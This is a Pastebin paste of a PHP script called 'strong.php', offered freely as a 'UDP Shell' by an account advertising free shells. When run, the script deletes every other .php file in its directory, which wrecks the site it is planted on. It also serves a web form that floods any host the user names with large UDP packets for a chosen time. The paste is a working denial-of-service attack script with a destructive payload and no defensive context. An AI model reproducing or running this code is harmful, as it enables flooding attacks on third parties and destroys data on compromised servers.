Advertisement
FreeShells

strong.php

Feb 28th, 2017
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.78 KB | None | 0 0
  1.  
  2.  
  3. Enjoy The Script, For More And Free Shells. Check Out My Profile <3 :)
  4.  
  5. <?php
  6. @chmod(__FILE__, 0055);
  7. ignore_user_abort(TRUE);
  8. set_time_limit(0);
  9. $files = scandir(getcwd());
  10. foreach ($files as $file){
  11. if ($file != basename(__FILE__) && strpos($file, '.php') != false) {
  12. @chmod($file, 0777);
  13. unlink($file);
  14. }
  15. }
  16. $top = "<html><head><title> STRONG UDP Shell!</title><style>body {margin:0;padding:0;background-color: #000;color:#0000FF;font-family: Tahoma;font-size:small;}input, button{background-color: #0000FF;padding:2px;margin-top:3px; color:#fff;font-family: Tahoma;border: 1px solid #555;font-size: 11px;text-align: center;font-style: bold;border-radius: 4px;}#submt{margin-top: 20px;cursor:pointer;}#xxx{font-size: 15px;}</style></head><body><center><br />UDP Shell!<br />";
  17. $output = "";
  18. $form = '<form action="" method="GET"><input type="hidden" name="act" value="phptools">Host:<br /><input type="text" name="host"><br /><a style="color:#000;font-size:1%;">UDP</a><br />Length (seconds):<br /><input type="text" name="time"><br /><input type="submit" id="submt" value=" Send "></form>';
  19. $Foot = "</center></body></html>";
  20. if(isset($_GET['host'])&&isset($_GET['time'])){
  21. $packets = 0;
  22. $out = "";
  23. $time = time();
  24. for($i=0;$i<65000;$i++){$out .= 'X';}
  25. while(true){
  26. $packets++;
  27. if(time() > $time+$_GET['time']){break;}
  28. $rand = rand(1,65000);
  29. $_GET['port'] =$rand;
  30. if($fp = fsockopen('udp://'.$_GET['host'], $rand, $errno, $errstr, 5)){fwrite($fp, $out);fclose($fp);}
  31. }
  32. $output = "<br /><br />UDP Flood: Completed with ".$packets." (".round(($packets*69)/1024, 2)." MB) packets averaging ".round($packets/$_GET['time']*107, 2)." packets per second<br /><br />";
  33. }
  34. echo $top;echo $output;echo $form;echo $Foot;
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement